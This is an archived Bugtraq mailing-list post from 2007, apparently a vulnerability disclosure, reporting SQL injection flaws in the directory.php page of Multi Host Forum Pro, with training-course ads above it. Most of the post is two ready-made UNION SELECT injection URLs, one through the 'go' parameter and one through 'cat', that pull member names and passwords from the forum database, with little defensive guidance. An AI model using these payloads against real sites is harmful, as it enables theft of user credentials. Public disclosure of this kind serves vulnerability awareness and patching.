Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Bugtraq
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

Multi Host Forum Pro phpbb & ipb Multiple Sql Injection

from [kingoftheworld92] Network Security [Permanent Link]
Subject: Multi Host Forum Pro phpbb & ipb Multiple Sql Injection
Date: 25 Oct 2007 21:31:11 -0000 
---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                           
---------------------------------------------------------------

Http://www.inj3ct-it.org            Staff[at]inj3ct-it[dot]org  

---------------------------------------------------------------

Multi Host Forum Pro phpbb & ipb Multiple Sql Injection

---------------------------------------------------------------

# Discovered by KiNgOfThEwOrLd

---------------------------------------------------------------

Corrupted Page: directory.php
Corrupted Variable: ?go=
PoC: An attacker can get some infos from your database. The query result, may 
be a cookie value.

Exploit: 
directory.php?go=-1+union+select+1,concat(name,0x3a,password),3+from+[forum]_members+where+id=[id]

---------------------------------------------------------------

Corrupted Page: directory.php
Corrupted Variable: ?cat=
PoC: An attacker can get some infos from your database.

Exploit: 
directory.php?cat=-1+union+select+1,concat(name,0x3a,password),3+from+[forum]_members+where+id=[id]

---------------------------------------------------------------
[More messages with this same subject...]




<Prev in Thread] Current Thread [Next in Thread>
  • Multi Host Forum Pro phpbb & ipb Multiple Sql Injection, kingoftheworld92 <=
Previous by Date:  [Full-disclosure] [ GLSA 200710-29 ] Sylpheed, Claws Mail: User-assisted remote execution of arbitrary code, Raphael Marichez
Next by Date:  [Trick] VigileCMS All Versions DataMining Remote Hash Disclosure, kingoftheworld92
Previous by Thread:  [Full-disclosure] [ GLSA 200710-29 ] Sylpheed, Claws Mail: User-assisted remote execution of arbitrary code, Raphael Marichez
Next by Thread:  [Trick] VigileCMS All Versions DataMining Remote Hash Disclosure, kingoftheworld92
Indexes:  [Date] [Thread] [Top] [All Lists]